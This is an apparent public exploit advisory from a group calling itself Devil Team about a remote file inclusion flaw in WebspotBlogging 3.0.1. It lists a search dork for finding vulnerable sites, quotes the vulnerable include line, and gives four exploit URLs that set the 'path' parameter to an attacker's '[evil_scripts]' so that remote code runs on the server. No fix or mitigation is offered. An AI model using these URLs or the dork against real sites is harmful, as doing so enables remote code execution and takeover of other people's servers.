WebspotBlogging <= 3.0.1 (path) Remote File Include Vulnerability

$$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM $$$$$$$$$$$$$$$ $$ $$ Webspotblogging 3.0.1 (path) <= Remote File Include Vulnerability $$ Script site: http://blogging.webspot.co.uk/ $$ dork: Powered by WebspotBlogging $$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$ $$ Find by: Kacper (a.k.a Rahim) $$ $$ Contact: kacper1964@yahoo.pl or http://www.devilteam.yum.pl $$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$ $$ Greetz: DragonHeart, Satan, Leito, Leon, Luzak, $$ Adam, DeathSpeed, Drzewko, pepi $$ $$ Specjal greetz: DragonHeart ;-) $$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ /* inc/logincheck.inc.php: [code] .... include($path."inc/footer.inc.php"); exit(); } .... [/code] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ And more verbs in inc/adminheader.inc.php inc/global.php inc/mainheader.inc.php */ Expl: http://www.site.com/[Webspotblogging_path]/inc/logincheck.inc.php?path=[evil_scripts] http://www.site.com/[Webspotblogging_path]/inc/adminheader.inc.php?path=[evil_scripts] http://www.site.com/[Webspotblogging_path]/inc/global.php?path=[evil_scripts] http://www.site.com/[Webspotblogging_path]/inc/mainheader.inc.php?path=[evil_scripts] #Pozdro dla wszystkich ;-) # milw0rm.com [2006-06-03]